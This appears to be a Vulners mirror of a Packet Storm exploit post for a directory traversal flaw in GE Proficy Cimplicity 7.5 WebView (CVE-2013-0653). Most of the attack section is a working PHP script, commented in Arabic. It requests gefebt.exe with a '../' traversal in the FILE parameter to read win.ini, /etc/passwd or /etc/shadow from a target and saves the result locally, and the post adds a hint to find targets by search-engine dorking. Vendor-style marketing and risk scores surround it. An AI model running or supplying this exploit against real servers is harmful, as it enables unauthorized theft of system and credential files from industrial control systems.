Lucene search
K

GE Proficy Cimplicity 7.5 Directory Traversal

🗓️ 14 Mar 2025 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 315 Views

Exploiting GE Proficy Cimplicity 7.5 Directory Traversal vulnerability using PHP script.

Related
Code
=============================================================================================================================================
    | # Title     : GE Proficy Cimplicity 7.5 Directory Traversal Vulnerability                                                                 |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.alliedsolutions.com.vn/products/proficy-cimplicity/                                                             |
    =============================================================================================================================================
    
    POC :
    
    [+] Dorking İn Google Or Other Search Enggine.
    
    [+] Code Description: This script is written in PHP to simulate the exploitation of the Directory Traversal vulnerability in GE Proficy Cimplicity WebView, which allows sensitive files on the targeted server to be read.
    
       (Related : https://packetstorm.news/files/id/180783/ Linked CVE numbers: CVE-2013-0653 ) .
    	
    [+] save code as poc.php.
    
    [+] Set target : line 3
    
    [+] PayLoad :
    
    <?php
    // إعدادات الاستغلال
    $target = "http://192.168.1.100:80"; // عنوان الهدف
    $target_uri = "/CimWeb/gefebt.exe";
    $depth = 5; // عدد القفزات العكسية
    
    // اختيار الملف بناءً على نظام التشغيل المستهدف
    $os = "windows"; // يمكن تغييره إلى linux أو macos أو unix
    
    switch (strtolower($os)) {
        case "windows":
            $filepath = "/windows/win.ini";
            break;
        case "linux":
            $filepath = "/etc/passwd";
            break;
        case "macos":
            $filepath = "/etc/passwd";
            break;
        case "unix":
            $filepath = "/etc/shadow";
            break;
        default:
            die("نظام التشغيل غير مدعوم!\n");
    }
    
    // إنشاء المسار العكسي للاستغلال
    $traversal = str_repeat("../", $depth) . $filepath;
    $url = "{$target}{$target_uri}?substitute.bcl+FILE=" . urlencode($traversal);
    
    echo "[+] محاولة استرجاع الملف: {$filepath}\n";
    
    // تنفيذ الطلب
    $response = @file_get_contents($url);
    
    if ($response === false) {
        die("[-] فشل في استرجاع الملف!\n");
    }
    
    // حفظ المحتوى في ملف
    $file_name = basename($filepath);
    file_put_contents($file_name, $response);
    
    echo "[+] تم حفظ الملف في: {$file_name}\n";
    ?>
    
    
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Mar 2025 00:00Current
6.9Medium risk
Vulners AI Score6.9
CVSS 24.3
EPSS0.09536
315